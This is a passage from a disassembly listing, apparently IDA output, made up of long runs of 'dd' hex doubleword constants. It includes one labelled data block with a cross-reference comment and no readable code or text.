8B1CFC4Bh, 97D7D885h, 89EED8DBh dd 6295F149h, 3C94CE01h, 0F736E917h, 0D430D8C9h, 70812A9h dd 0EAB847h, 81634C29h, 0B452AF2h, 3AE9993Bh, 0D388B522h dd 0AB220EFFh, 0FA6F66EBh, 1872E5Ch, 0DB5042F2h, 0A58909h dd 397C264h, 20D69561h, 0D0EF010Ch, 0BF023D2Dh, 0F1F5E992h dd 0FFCAA535h, 7128EE6Dh, 0E1120F5Ah, 6F1839FFh, 9D357FDh dd 665ED204h, 12CB064Fh, 1EC9F442h, 929DB050h, 292DB002h dd 0BD9D459Fh, 68F3CBB1h, 64E37F4Dh, 0B65A5412h, 808F8C7Fh dd 1AE403Bh, 0F5FED66Bh, 25F5FD8Bh, 20FB5DB2h, 26680393h dd 9CDA114Dh, 0B89E5801h, 0C55397E9h, 0A709D8BAh, 9B1A40Fh dd 661BC4F2h, 0C0770BF5h, 98935E6Fh, 0BE752056h, 0C9091D90h dd 0DF730FD9h, 0A8D4FF05h, 8F8F4FADh, 1212825h, 3BFEADDAh dd 0FBA1D6A8h, 1D03A65h, 6207A423h, 1E245C89h, 0F5FE0909h dd 883F9C72h, 0E98B39FEh, 78B5224Fh, 40580209h, 0F378260h dd 0B2C12D73h, 61C55396h, 41880C8Bh, 0C6A5D2E0h, 5AD85781h dd 50CC085h, 53990733h dd 9EECA195h, 0CB6AFECEh, 67750EBh, 6B46021Eh, 0AEE9D642h dd 0C20048CEh, 73C59D58h, 36A76884h, 2FD3CEAFh, 2567F9EAh dd 0C08036E6h, 5B8145F2h, 9FF1FCD8h, 8401BFB9h, 64986872h dd 0D84039BBh, 29C25B58h, 0DF5D31E9h, 19F82DA2h, 2029FA5Fh dd 0BE010BD4h, 77924930h, 5D34EE83h, 766AFC9Eh, 0A5F60940h dd 0DCFC4768h, 15F20617h, 0B21E8906h, 690F0C1Fh, 9F176022h dd 0C40C76C7h, 91BF4E64h, 0D9550BD6h, 0FFB86FF0h, 51005C8Bh dd 4AFE680Ah, 0BD8ED1B5h, 0FF2A568Bh, 0F725BC45h, 420EA310h dd 2F76BA3Fh, 6C673C7h, 1F096852h, 0E7D9990h, 0EEAB2C80h dd 51ADB77Eh, 0D7FC7B2Ch, 173EFDF4h, 30AEB45Ah, 0DE787DF6h dd 7C1DF396h, 0E90CEF8Ch, 60491EF6h, 1C7CEEDBh, 89D9A6F2h dd 9C1A7D1Bh, 0AFDFC905h, 0E31763A2h, 0E882564Ah, 96F5A747h dd 0C7FE7094h, 0CC30A215h, 453FA61h, 555D00C2h, 5AC9158Ah dd 0FDE08ECEh, 95D85C81h, 0B34495ADh, 2AEB47A1h, 0EC8148E4h dd 0C0EE134Ch, 0F6B60C1Dh, 1609BB80h, 0D018D747h, 222E86A8h dd 664D42D4h, 0BBB51063h, 34D9680Ch, 314CF027h, 0D182A421h dd 0C4680230h, 9641F15Fh, 0BAD9843Ah, 7850F9F7h, 3E5C0430h dd 0A0DBE902h, 0A60E885h, 2CA33993h, 0A091000Eh, 0E7BC936Bh dd 1FC013E9h, 6855AF74h, 60D20029h, 0C3AC2D3Bh, 0A8398A3Dh dd 49C28BCFh, 5506158h, 0B57B3581h, 84BC2781h, 5A8CC1FCh dd 0E9605601h, 57278007h, 32B72665h, 31C10FECh, 1FC05595h dd 685B6106h, 8166808Bh, 0FD5E39E0h, 1ABD2916h, 44126ACh dd 2840CE31h, 37181EF2h, 0F02E67D0h, 7507B23h, 84A477EAh dd 4CBFB155h, 322860BEh, 67720C01h, 2B75858Bh, 19894C91h dd 0E95F6D9Dh, 188100E7h, 513ABFC2h, 76002293h, 0B2C86BF7h dd 4446035h, 0C1B826BCh, 7903AFF4h, 54D8531h, 58FE8145h dd 0F329E1A6h, 84EC53D6h, 8A83339Ch, 22E9E5h, 0C0E4BE0Fh dd 0A24E86B0h, 0D3D7B200h, 7ADFAE80h, 28780948h, 7B54E9DBh dd 0BA3BF780h, 7BB68F13h, 46AA00E1h, 0B7F82E59h, 0DD009426h dd 0CB6D4795h, 5B3DAEh, 982386EEh, 69468BDFh, 38A6F13Eh dd 25B080AFh, 7B8ED397h, 3E337AB7h, 0C2A95B89h, 5177E004h dd 3018910Ah, 3718CB81h, 33AB07Eh, 3CAD2BA9h, 56F8C2A1h dd 9348E40Eh, 6202442h, 0F7F43606h, 11D14229h, 60210CC4h dd 90F5E308h, 0A119FC5h, 0BC087421h, 0E991F4h, 84679035h dd 158730Ch, 0BC4DEDA3h, 0F428C15Fh, 600A679h, 0E83E19F0h dd 0F91DD73h, 712A53CBh, 601EB207h, 367E930Ah, 6C8B2F1Ch dd 14AC7580h, 2EE060h, 0DFDBBEF1h, 0F70F729h, 0F96CD700h dd 5EFAE25Ch, 0C7A10047h, 63D32D20h, 8A0045CDh, 0A70451DFh dd 9325C5h, 9EECD85Bh, 0C86FABF6h, 7D01794Bh, 0DCF3C42Eh dd 71E0CF8h, 74AF0E23h, 6ED2C01Ch, 0BF3EC9E1h, 52D50724h dd 94C3E9ADh, 0B9EBF058h, 9075009Fh, 0B2EC613Ch, 0F01C7DE8h dd 0A6C05C63h, 426B2510h, 1DE4BDh, 5099539Ch, 3037F9A3h dd 0FD40F500h, 9EB3F75Bh, 0CA64064Fh, 1194391Bh, 542C020Fh dd 377F000Dh, 1BEEE5Eh, 0AAA2416Dh, 20A88251h, 0AD00F108h dd 4D1710C1h, 2E36F2E1h, 0CC9D57h, 41ABB874h, 8B045813h dd 0C7D8A7E9h, 0EBF84280h, 99A500A8h, 0B687CA07h, 0FA09EF26h dd 9286AEh, 0AD40C70Ah, 9422000Ch, 0E79E7FCDh, 0E47FF12Ch dd 84C53A00h, 0A58FAE44h, 580AE08Eh, 0BC010848h, 6A65DBF3h dd 96F6CCCBh, 0F29958h, 0BAE07934h, 0F61F5B16h, 20291D61h dd 2B9FC01Ah, 2A4DBEBDh, 3599D1C0h, 1BF697Ah, 0DE4A18D6h dd 0F82E34F0h, 31E2F9Dh, 0E340BBE9h, 60701F91h, 103D0033h dd 311D5093h, 7F0072AFh, 5297CE2Fh, 0EA3A1EC7h, 0A50580C3h dd 75BA44h, 0DE2F1F2Dh, 3976AE47h, 0ED003D7Ch, 0FA514C99h dd 13EC44Fh, 2840B304h, 4746DEB9h, 0BFC770D4h, 0E04AD7Fh dd 8502F2FAh, 0EA57CC90h, 77EC0EA4h, 6F4083CBh, 0A9B0A32Bh dd 0E847C600h, 9B7B8F06h, 0C73F747Fh, 0C002ED11h, 9656D7C2h dd 9200C97Ch, 9E11CF86h, 91B1B2h, 38F6DF02h, 0A9A7FF55h dd 34DCB00h, 821348A8h, 12BF49Ah, 0E57A2599h, 0FF5A15B9h dd 0B2BE76D8h, 0BF14817Ch, 9F69598h, 8EC8E1E4h, 0CD5E8018h dd 1488622h, 642ABC90h, 0CC877AA6h, 0B30AFFC9h, 81E9551Eh dd 1B9BC003h, 6896D2h, 72A8B17Eh, 51E88FDDh, 6E459212h dd 62AE5400h, 0C4FF1Ch, 0BF7890D9h, 6DF6FAB1h, 22C64C1Ch dd 0FD58007Dh, 754B5926h, 0E51309B7h, 70034F7h, 4374168Ah dd 48E38D02h, 80B94AB1h, 3A03DDFBh, 9424266Eh, 1960080h dd 22B09DD0h, 80FEF33Ch, 4BD1174Ch, 7363A69h, 165A9767h dd 0F4DEB09Fh, 0FE162A38h, 0D09D987h, 17C00B2h, 0CE9551h dd 84302529h, 11FC7D5Ah, 5F428B00h, 2C264C53h, 76B30066h dd 0F109A448h, 0F3000B16h, 328F0EA9h, 785737A6h, 2D670314h dd 2BE21763h, 59A31E98h, 23C5AF16h, 35DE5103h, 7AF0EF6Ah dd 0CD40493h, 0DCF2E876h, 0ED120218h, 280E875Bh, 5D4979h dd 0BCDF7524h, 0F83A268Ah, 8D97076Ch, 157C50F5h, 1903E5B1h dd 0E40DEA33h, 0B5BFE03Ch, 0BA971E44h, 5782C027h, 32361A58h dd 2E98CF07h, 0F601DCE9h, 0E3E82946h, 0E4615084h, 0EF760039h dd 75E9D4EAh, 72011425h, 2C28834Ah, 98F446E8h, 1B33006Fh dd 0F808BEE5h, 6B00B9E1h, 4A413938h, 7BCD23h, 6F992ED4h dd 0EDFF977Ch, 0E85B8A00h, 45EE9E2Fh, 0EFC07A7h, 80315771h dd 24AC859Ch, 32D37700h, 127AD69Fh, 73C80928h, 4C0FC47Ch dd 71092E20h, 6AF88335h, 9907A6FEh, 292BCD72h, 0F8CA73C3h dd 2CDF9B5Ah, 33B9CAFh, 0A78644B9h, 45FA6988h, 1DB27D00h dd 0CBF50CCh, 123073F4h, 0DD46B9h, 0BCF9370Ch, 4B0F1A45h dd 409396E4h, 9907AF0Fh, 3AB3B82Fh, 0BF80DA7Fh, 2BCA06C9h dd 0C9A04B84h, 321F44F2h, 5581998Ch, 0C608D556h, 70C54487h dd 0B54D5031h, 7704D454h, 108DCBB9h, 86669880h, 6E6F0EDDh dd 401DECB2h, 0EBA3E825h, 0C9980572h, 0FBCE9E00h, 0D490C243h dd 9BE30028h, 7B248D2h, 83F4F994h, 0DA64FC02h, 4095BFCFh dd 8D1284h, 0AE0D1154h, 0C82C7277h, 80569B39h, 0E34BBEF5h dd 0ABDE13h, 7F228B1Ah, 342AEB5h, 638D5600h, 856F743Fh dd 4107BDEh, 388CBAADh, 0F95005Dh, 3F535EC5h, 5C80C727h dd 414E70D6h, 0F401145Ah, 0D7184334h, 0ABECC463h, 0AE5B00F1h dd 339C8C4Ch dword_4F0044 dd 0C80FBCF4h, 802BDF32h, 5D770CC3h, 6DA0A0D0h, 0DC780Ah ; DATA XREF: ___:0042CC8Co dd 0C5E8BA94h, 0CBB36F27h, 0B13D4507h, 4E0053CDh, 0EA52AAh dd 0ADEC73D7h, 7C0FC935h, 64849100h, 96B24E3Bh, 110E843h dd 6919BF51h, 20C65D58h, 49078A20h, 0A8E0560Fh, 8EC17920h dd 259D00C4h, 1A80D992h, 0A001B9F4h, 9F3F55F2h, 2260B16Ah dd 0FE520049h, 0D04FAA5Ch, 6C008D3Dh, 2763B3A8h, 86E88Ch dd 0E90F4A59h, 0EB7FD1A4h, 0CF9830FBh, 70CE8800h, 37E58B2Eh dd 0FF9F006Bh, 610EC159h, 0A87304CAh, 4564FE00h, 50E83963h dd 0FC9840h, 87725CC3h, 2DD8EB8Bh, 0A8966A00h, 4F7017EFh dd 0A733009Dh, 0BD6EED7Ah, 0D3381BACh, 34A22C97h, 4E00CD11h dd 0C49B467Bh, 0FB483BB6h, 0F0BF00ECh, 0E5520A69h, 485C0309h dd 84CC463Ch, 0A22C6E90h, 112E8D03h, 0B3FEBB8Ch, 0BFD8F058h dd 0FD2707F8h, 57C8AD94h, 447700B7h, 0B00CA2Fh, 86FAB41Dh dd 0F83582h, 96B71772h, 6BB291E8h, 3FF57A00h, 6E696799h dd 2E9A0001h, 94ED10DFh, 0EA16B655h, 8800C975h, 0AEE72C92h dd 0A9600A7h, 10EB8F2Ah, 0AC60261Ah, 7DC995D8h, 0EABB0475h dd 0C8DA561Ch, 0D30F91E0h, 20BFE50Eh, 741B8DEFh, 392F0064h dd 194C9714h, 6E01A335h, 93C1D37Bh, 8331CB5Eh, 0FC60C0D5h dd 86A91E01h, 12C382F9h, 60E8163Eh, 4A00219Ah, 8D3AE314h dd 50DE3B43h, 1FE0B84Dh, 407D8A20h, 0A06B9E3Dh, 9504E873h dd 31CC75D2h, 0C40179C5h, 5598C92Eh, 0BBEACCh, 0DF14E8B6h dd 0C23183AAh, 5FBE8F00h, 4ED6EFE2h, 713C1666h, 41F04062h dd 230FFBA7h, 2C9AC900h, 47FEF106h, 0C45F48FCh, 1A534900h dd 285BE465h, 59113E00h, 0B864F8BAh, 0AEB0EB7h, 0E6E096DBh dd 0B608295Dh, 27137D00h, 56BB22CBh, 0AD4D0087h, 44E03420h dd 74038454h, 0D7410D21h, 715CA88Dh, 0F35A0072h, 842F59Fh dd 0B60039BEh, 0C70D8903h, 12A4D78Ch, 16502B2h, 0E97DDFD8h dd 46489E98h, 8463BD0Bh, 0CC84366h, 0DCF948D4h, 253B3C71h dd 0C2AE3B7Ah, 0D50C1500h, 786791C3h, 1E396101h, 0C5FCEDB8h dd 42C40EDDh, 7AFD03E6h, 95672D19h, 28F47000h, 0A41FE051h dd 0ACA9064Ch, 8087C668h, 659BB31Fh, 200093ECh, 0EB8D5CD4h dd 80E96015h, 54783240h, 0EA892400h, 3A289E05h, 956D00A6h dd 0AFF55CBCh, 8D48C5D7h, 811A304Dh, 0DB4718h, 397DF9A1h dd 0A257F7B5h, 371DD5F4h, 0B804D81h, 88847FFFh, 33B0F2h dd 806FEF1Bh, 470D5FEAh, 0C63B8D0Eh, 1AE2C007h, 0F13F84Ch dd 5A06E6CFh, 0F89EC939h, 0B90BDE54h, 80D955FFh, 0B6387A49h dd 784F0A1h, 0E65F064Eh, 0BC582050h, 9900C89Fh, 7684803h dd 0EC925Ch, 633CDD24h, 7E223ECBh, 0D52BDC01h, 488B3628h dd 4584C0h, 0B9D06CC7h, 0AFE45F64h, 3E25520Fh, 8C2F2AFFh dd 0C9432C03h, 0EA59C084h, 886F0AF9h, 0A0C470h, 2726961Fh dd 440083E9h, 51E78CD3h, 0D45D19h, 5F4AE8A2h, 0ADCBEC84h dd 152E4500h, 0ACE5F54Dh, 1BB51E56h, 7433C740h, 51D2E0CDh dd 4900A0F6h, 426888Ch, 3923D31h, 0FF727538h, 2DA8DCE6h dd 0DD0099BFh, 0C2DA779Fh, 17C243Ch, 13F217A0h, 9F15AC01h dd 64261938h, 0D8913800h, 1FE2149Ah, 40E98BB7h, 53AF5572h dd 79002E3Ch, 7791B54Bh, 0F5973EAh, 68FFB7DDh, 0CE74DF00h dd 0C2072136h, 0F5AB4056h, 5F18BF41h, 1F9BD4h, 0D501420Fh dd 3729C0B3h, 0FA00EDE2h, 0B15210C1h, 5C84C47Ah, 3F00580Ah dd 874FC0C9h, 0DD0E9244h, 3D7650h, 724ED214h, 56C0033h dd 0BAEBEDF5h, 5300BD17h, 0A6AB1AFBh, 0CC0798h, 225141A4h dd 2DE45EDh, 30C7F500h, 80F1FD82h, 0BB292C44h, 18B34048h dd 4D0007E0h, 5637F3DFh, 0F2EAA0FEh, 5DA600CAh, 723D25DBh dd 5A04D080h, 0E602AD7Fh, 0F46CB0h, 0E8520941h, 0C64CEAA2h dd 4EFAB200h, 97D6B848h, 694A0005h, 783FC83Ah, 48C03E80h dd 4E0FFDA4h, 68C51DC6h, 75417017h, 0D2008DBFh, 0C2DB7F4Dh dd 4F23AFC9h, 3F500999h, 0D8256045h, 280724BFh, 5B2007Fh dd 738625CBh, 9933FD07h, 61039060h, 421AD05Ah, 0F5BB00B5h dd 0C050A059h, 5F009F2Bh, 708E38D0h, 0FA0EAFh, 16821364h dd 0AA1C242Ah, 0AE00909Eh, 0B0D62BD1h, 9F1200C7h, 0D027BE8Bh dd 0D730444Dh, 0D889A057h, 30C76FB5h, 77654900h, 95744BC3h dd 0B614DC74h, 3106CD8h, 2857BE45h, 16F61DFFh, 6486009Fh dd 0D38A236Dh, 52AE1A03h, 0D0748D79h, 9E3627h, 6398E64Ch dd 759DFA4Dh, 0E7D7E500h, 0A7769CFCh, 0D6640049h, 0FE4D5B3Bh dd 87372E3Ah, 6BB15814h, 608059C7h, 3F3B7A67h, 77002DECh dd 921ABDABh, 3B524397h, 0A90F0B53h, 7520A0AAh, 95072CBAh dd 0E6FA5A02h, 836BD821h, 0F0A52B60h, 7DC2A1h, 9826DAD6h dd 5A321CCFh, 1B017C7Ah, 0C88EF362h, 0E4401496h, 7AE857h dd 0DD0332A6h, 0EF995D88h, 5E33EA00h, 0DFA29A5Ah, 0F2B51F45h dd 26848020h, 96AF31FCh, 0A6B78800h, 0B947AD9Dh, 0B8A854B0h dd 0F2C70BBh, 0C88068FCh, 4A2B4A07h, 272D1250h, 812F801Ch dd 2A324A79h, 0E0AC21CBh, 0C098B60Ch, 664B4211h, 91514790h dd 2BE9E41Ch, 9117560h, 30F1FB9Dh, 0B1815314h, 0B03088FFh dd 0E1DB1146h, 0D49A3997h, 35045BC0h, 0AC305383h, 0D41CC320h dd 6ACE4600h, 19B31F55h, 78DF33C5h, 0B4A1A0A8h, 28D08045h dd 74486816h, 5C10C07Bh, 7DD91EB3h, 0D02D1D28h, 0E12F6001h dd 0B4795A6Fh, 0FA97AF0h, 0E68C144Fh, 5E87938Fh, 9834834Ch dd 4C331028h, 2E43CE1Eh, 32DD101Ch, 0C5BD6EC3h, 0AD05D0E5h dd 22D0CFBCh, 290BFC40h, 0C00784Ah, 4DCE6BF9h, 5BB6516Dh dd 0DE1C41F7h, 0E0EFE887h, 0E412A570h, 0F801D069h, 0D61944D5h dd 0EC7983C4h, 0CC930386h, 1A5030DAh, 0B0006FABh, 2AC7BE43h dd 0E8D021C1h, 19936094h, 7BBFD4D6h, 10CE013Eh, 0B5009C70h dd 1DAC1B08h, 1007724Fh, 12D09FC7h, 2A20980Eh, 0B399C090h dd 0BE42F98Ch, 80891838h, 2C2E8325h, 5E93441h, 32D41EA9h dd 0CC41FF1h, 10194504h, 0EFD2CC11h, 0F9C8DC00h, 0D499C2A0h dd 5AA02250h, 0EBBF7E00h, 7D4DE8E2h, 5254006Ch, 74E3604Ah dd 0FA0F7B55h, 714344h, 0E86F68A2h, 0E5D0F31Dh, 94223CA5h dd 607C7000h, 9A26ACF9h, 0EB07FF74h, 797BE091h, 484B9910h dd 7FF101E2h, 7DFF967Eh, 7C5C8747h, 0AE206F56h, 2BFA7542h dd 833854D8h, 9C42A684h, 7C5545C7h, 8C79F18h, 7886E79Eh dd 3C1B48B0h, 714A5400h, 7CA698E2h, 42009FEAh, 0AA5692ECh dd 78F39578h, 508F014Ch, 9A9B6860h, 5C6840D8h, 57F0F4BFh dd 98397268h, 4EB2B3Ch, 0DCB2FBC1h, 5C5F1080h, 0DB2639A4h dd 54F9E00h, 98CC0ABFh, 0B7660083h, 92E638BEh, 30C0D7E0h dd 195DA68h, 7818C0BDh, 0AB5D9CFh, 7EC708A0h, 4357EC00h dd 0C2B08275h, 5CED1848h, 8AE95904h, 0C9B56A05h, 0C33ECDAh dd 0C8946DCh, 30B4F618h, 431B58D8h, 1158B182h, 0EBD11A0h dd 0DB3E5C5Bh, 0C76AB140h, 4062E899h, 41598FC8h, 7678D5CEh dd 58C47828h, 7C87B1FAh, 21BFA343h, 21B8DFB0h, 4E03D482h dd 0C5EA0C2Bh, 0C21CBBC2h, 5DCC48DDh, 0D01630B4h, 9B119828h dd 14185F3Ah, 260C9444h, 612F9EBh, 8E85F440h, 339C6FCh dd 490551E6h, 5EA1D163h, 0E20C40AEh, 10495CD9h, 0BE4CFCh dd 0CC0CD733h, 3579E45h, 989DC55Bh, 191E3227h, 0D91309E8h dd 4B591445h, 225D580Fh dd 9DDE5F8Bh, 28B1164h, 4F637904h, 0BC8CA801h, 0B890D810h dd 440C6421h, 156B80D3h, 0F0CEB3E5h, 57187E0Ah, 424863F8h dd 30D8FEF1h, 90842A5Ch, 8C0E4548h, 0C13C5840h, 0C11029AEh dd 461F918Ch, 114AA0E4h, 665F1BF7h, 9821690Dh, 4F9F059Eh dd 6048093Bh, 0EC58BCA0h, 19C2757Ch, 999EDCFEh, 0E0899888h dd 6409E878h, 8A64AA8Ah, 4C94EAE9h, 6A284740h, 9412E00Dh dd 0C32CDAAh, 51802805h, 0C99A3CAh, 8C3E2C0Ah, 7356771Fh dd 0C485042Ah, 92883383h, 0E241E014h, 0A8421F4h, 419413E5h dd 0F55395D9h, 2B60203Ah, 2891987Fh, 8042DC91h, 1899198Dh dd 6250D30Ch, 9D13E78Ch, 0C3E5B4Bh, 7DB1EAC4h, 0DB06A841h dd 148AD60Ch, 99156880h, 3A1FC20Ch, 5738C82h, 12F99C47h dd 1B81A21Eh, 0A0EBB124h, 3E0BEAF9h, 2214C8DDh, 0D80153D9h dd 0C2867458h, 50AF6194h, 0EEA32A9Eh, 980A28C1h, 0D518AD5h dd 814DA842h, 0C511FFF0h, 254CA479h, 24305FD8h, 5485D958h dd 0A22C9A4Ch, 48F13593h, 0A5C137EAh, 1FB234Ch, 0E560F610h dd 20E46469h, 367C6278h, 83AFD688h, 0CC904FD2h, 6305C02h dd 6A5918C2h, 3DD91963h, 0C6C67052h, 737C28E8h, 9C48A0F7h dd 3C18DC45h, 29C01137h, 0E851E490h, 894C13Ch, 521E7A74h dd 323C46D8h, 0B4984AC8h, 6823203Ch, 40337D00h, 49753A86h dd 1B851E9Bh, 628C0FECh, 719F8181h, 0D884F056h, 5E294F63h dd 271DE1BEh, 992470h, 2D025345h, 0D0B35965h, 0B1481E4Ch dd 0B830C053h, 0E8A9C0F6h, 0F59212ACh, 2BAB8509h, 307464D8h dd 9EA8D546h, 0EA55A447h, 0BA40C8F8h, 5A227C90h, 319E1CC5h dd 20D37C49h, 60E5B584h, 4C0C16h, 4AC95D6Ch, 1D792859h dd 860C06EEh, 0B0CE139Eh, 0C8AC73h, 285E9258h, 40236A52h dd 604A541Fh, 2180ECA4h, 0A3791BC5h, 0F67965h, 4788E185h dd 623D07DDh, 8C286B28h, 0A0E69C20h, 4D3708C4h, 441A1C3Ah dd 5C601833h, 0DE606081h, 11413859h, 4F5F038Ch, 2757C4AEh dd 0F40A0824h, 11491D80h, 24A939BCh, 0AC98C1FBh, 7F823FE3h dd 0D3238D1Bh, 10683CC2h, 307ED79h, 0EA48D8FDh, 0EC8319Ch dd 5F86D975h, 47CE3881h, 31089E1Dh, 4D8520F1h, 1E440DD4h dd 4F92749Bh, 5FADFCEFh, 0D6A400E0h, 0B89AFEC1h, 494F2800h dd 45D371A1h, 0E5510073h, 834179F7h, 4A1F8C33h, 0E2C0991Ah dd 1E52CEE0h, 0B24901AFh, 46B3CF9h, 2C9C508Bh, 550706A1h dd 0B685C578h, 0CC12CAD5h, 9EDD9001h, 108C9763h, 0F2C9DFEAh dd 0C7C52B00h, 25B9D0C3h, 1CE12677h, 66A380F4h, 9A9E324Bh dd 19E02A00h, 93ECDFE3h, 2BF80051h, 0DDFE854Ch, 46003D90h dd 598BCC9Bh, 3AAD4414h, 5300DCEDh, 0CFD33CC4h, 91094FECh dd 0D677Fh, 11B45B64h, 5C009823h, 888720C2h, 5DB08173h dd 0FBF3D412h, 1CA2DC0Bh, 5F441054h, 0B7722484h, 255B0030h dd 0FC2060B6h, 382C35F8h, 804098FBh, 23D40h, 0C4BABFF1h dd 694E60D4h, 0FD1E8D00h, 970618E2h, 88C550CFh, 5BD90DA2h dd 2088D1F6h, 0E02AF1C0h, 0B008418h, 637A0585h, 33DD2466h dd 12088E6Ah, 4BA0214Fh, 0B0CC0196h, 825CD535h, 0B605305Dh dd 6EB9A8C0h, 0AE70E7h, 2786F5B1h, 1AFF9852h, 0D25341C7h dd 0E4E62640h, 0D76F071Dh, 40F96CEDh, 15AA61FFh, 2468525Ch dd 4FC0405Ah, 465F88D9h, 21CF7545h, 0C6D92087h, 71E85F84h dd 38EC4C22h, 0B2DF1907h, 9C04A979h, 11546092h, 275F23FFh dd 18003111h, 1CCB115Ch, 477A62B4h, 6B29C702h, 0AFCFC356h dd 82099AE0h, 0AE9025FCh, 0F6E28094h, 6B82DC85h, 0B404A95Fh dd 15549E6h, 0BA51D188h, 146E8BCh, 5F85D972h, 90B07ADh dd 80D94A82h, 194CFE5Fh, 909404F2h, 0D03F4227h, 0D3EAB4F8h dd 0C0D14180h, 0F41E44B8h, 4E481D01h, 845D812Ch, 29BCAD36h dd 32A3B853h, 0DFDB30DCh, 0A910443h, 84319757h, 88508EC4h dd 20BACD0Ch, 789835C4h, 6D2F6C02h, 0D1C4EA7Dh, 2D228B74h dd 3F1A6680h, 280A4649h, 0BC9111C6h, 1D83D961h, 805B3183h dd 0A3C04698h, 8C1708Eh, 0BA527788h, 5D20CC49h, 138B19FAh dd 61E88184h, 0B199F004h, 7A988300h, 402B28B3h, 2FAE380Fh dd 0FA41A602h, 0E4446509h, 205DD525h, 3B965F54h, 0E5C8C127h dd 0DD634818h, 0CC7B70D2h, 1D4C8F79h, 0C90590Eh, 0B1E557D9h dd 3DF8016Ah, 0F097219Bh, 4029E0h, 708A3867h, 19AEA01h dd 0DF4A0584h, 40D4A683h, 11D552E0h, 825BC600h, 0BFF3EF2Dh dd 70E61393h, 0EAC04B73h, 0FA889490h, 0AA2D5A16h, 7FB45800h dd 90627A47h, 9C4C4C60h, 53461F72h, 2152D7h, 6A4AC654h dd 0A102B1B3h, 89EEE112h, 0F9C0696Eh, 0B3C1BE0h, 11944BDBh dd 58195020h, 0EC067F73h, 94C13BBh, 0D4851D18h, 31484279h dd 68E8725Fh, 6205468Fh, 0E7E08803h, 98006CB3h, 0D6DABAADh dd 0E4A09222h, 0D928EA62h, 0C662A067h, 0C3D05D29h, 0E840A5D8h dd 2A689088h, 0DCA35814h, 917AE803h, 216F5E15h, 94E40848h dd 10503851h, 135B0C54h, 83B01BF0h, 3817D0F5h, 0B3BBE606h dd 181A0Ch, 71595548h, 24C66373h, 5707D505h, 0A0D0646Bh dd 307F90C7h, 0A8100A1Fh, 0A2686709h, 4B06B069h, 11CEC4h dd 4E9D8BC2h, 183CFC5Bh, 8845333h, 8F2100C9h, 0BFC49DF3h dd 7F13C545h, 2303EFDBh, 2055B57h, 0F485F060h, 2844ACF8h dd 901E8342h, 280CDB57h, 56F291E0h, 2CE17024h, 0E0720840h dd 0B9B003AEh, 38696D3Dh, 85F191DBh, 83E4209Dh, 11530E8Ch dd 38375F8Eh, 5B001734h, 0A0BCD711h, 32DC28h, 57F0DE70h dd 0F93E96CCh, 0C4FB102Ch, 9A33E04Eh, 1D7A24EFh, 0C5DB2F6Ah dd 82C8AF66h, 9CE69150h, 0B88F6300h, 67556F2Bh, 16800047h dd 4D11BB05h, 610E7523h, 20793B49h, 58725946h, 0F4AE09E7h dd 0A48964B7h, 83D9BC04h, 0D2B99094h, 0EAD45368h, 1802B3B3h dd 0E447BBADh, 9B4EC58h, 21879F3Fh, 6885E412h, 4F8860BFh dd 5F7D8A11h, 401B1E87h, 3AC0D011h, 54245B59h, 0B3832015h dd 97467A66h, 423CCCB0h, 0C0F759E2h, 70058B80h, 448C9663h dd 83012A13h, 17193705h, 30307925h, 29694062h, 910038E4h dd 54DAD993h, 0C97B094Bh, 0C10FF78h, 0E40470FCh, 10D028EDh dd 92278E2h, 0B90A0400h, 0B5271B72h, 0C5064C1Ch, 757A24h dd 0E06C5049h, 625EFCE9h, 78AD86h, 5945985Dh, 58AB861Ah dd 31FC1310h, 4EFB8509h, 7625DC66h, 0CFD038DBh, 59490448h dd 901C9128h, 0B34F6290h, 0A00461D6h, 0EC003210h, 99708C3Eh dd 14C41496h, 7020900Ah, 808C37BFh, 8065429Ch, 0CF00F847h dd 90AEDE9Eh, 0A80E6F22h, 6583E4h, 0C9CE7F93h, 10FF23C1h dd 0DCAEDA0Eh, 0BD50E0B4h, 18DF8D5Bh, 0D0B98693h, 4758D553h dd 41578E08h, 277A8F4Eh, 6F4C28F4h, 6B001852h, 0B2A0B309h dd 2A647C1Fh, 637F83F8h, 3F0F2DEh, 0E8681120h, 8E3B290h dd 0B4429100h, 0BDFC2C88h, 0E1B879h, 60A93DADh, 1747BC24h dd 0A80C6B02h, 0E0835D74h, 80CA86CCh, 0BF0F1C6Ah, 0C29D6603h dd 80C39294h, 0D23C230Ch, 8C5F1D61h, 5516602Eh, 0F84036FBh dd 0BAF98DB9h, 0F66200D3h, 0CC78B545h, 800D04Eh, 0E8EC5088h dd 392DE29Ch, 7A6B2AD5h, 53C79407h, 6927CC12h, 0D9A0A0FBh dd 78E59B5Bh, 0CAC125E9h, 0B60A6448h, 31261707h, 0D921161Bh dd 18E06EECh, 0FB890007h, 0E24F3A65h, 63070F09h, 9D303CE0h dd 9C407B47h, 7E660D3Bh dd 0D1C60A93h, 1DCEF8Ch, 309D09Bh, 763E84Fh, 36F835E4h dd 3CE6961Eh, 28F9333Ah, 0F100095h, 0B3BD188h, 6618EC92h dd 3E64F09h, 79351E93h, 1F41F3Fh, 7FED6331h, 0AE5E03Ch dd 0E40380F0h, 15490B7Bh, 4B846DBh, 4C9E0BEh, 0B492483Ch dd 0D3493D01h, 4A6F0A73h, 17B51818h, 2802011h, 347CD3Eh dd 4855361Ch, 3090E739h, 4618CC92h, 5D1FBA6Ah, 4503E6D4h dd 6DEA63h, 0E0CA1140h, 0C6609FEDh, 0BE5CF407h, 0A4A24E99h dd 19BFC034h, 19B7927h, 0BFF28068h, 0D0209AE7h, 15FE4AF3h dd 16E43Bh, 5E43D2BBh, 3A4ECAh, 69962BDDh, 9AAB1065h, 19C086F4h dd 32D8F211h, 0FD607C80h, 4040A2E1h, 0E734DCEFh, 1794D983h dd 87A7EE61h, 9BF84C63h, 40C0D662h, 2C7C9085h, 78B11D36h dd 0B718D150h, 1B1A6281h, 98E91080h, 34DA57Eh, 0EABF68C1h dd 2A01F7ACh, 0AD5E00DDh, 0D0802A77h, 1F5FB0BCh, 0DF3ADAA0h dd 74E002E9h, 9C8C034Eh, 3D3CEB50h, 0EDB31578h, 0DBF14D4h dd 1B2A08Ch, 8C2F4738h, 149880DBh, 88223EA5h, 40001624h dd 68AD58FDh, 0B5C38C0Ch, 0F3196Ch, 0AC3DE256h, 83D1F526h dd 65C78258h, 480CE889h, 93A408E7h, 2B2C9228h, 207CC964h dd 0DF47EE58h, 0A2F8C5h, 0A6CD860Ch, 4DAB1714h, 0F63B100h dd 3C0B359Ch, 0AF20F88h, 780B9A07h, 60F77831h, 0D0789C50h dd 3CF854B0h, 0C7B72900h, 0E188323Bh, 69F0057Fh, 37C8C118h dd 1E839B44h, 0E690C590h, 4A6C644h, 0F5B08A1Fh, 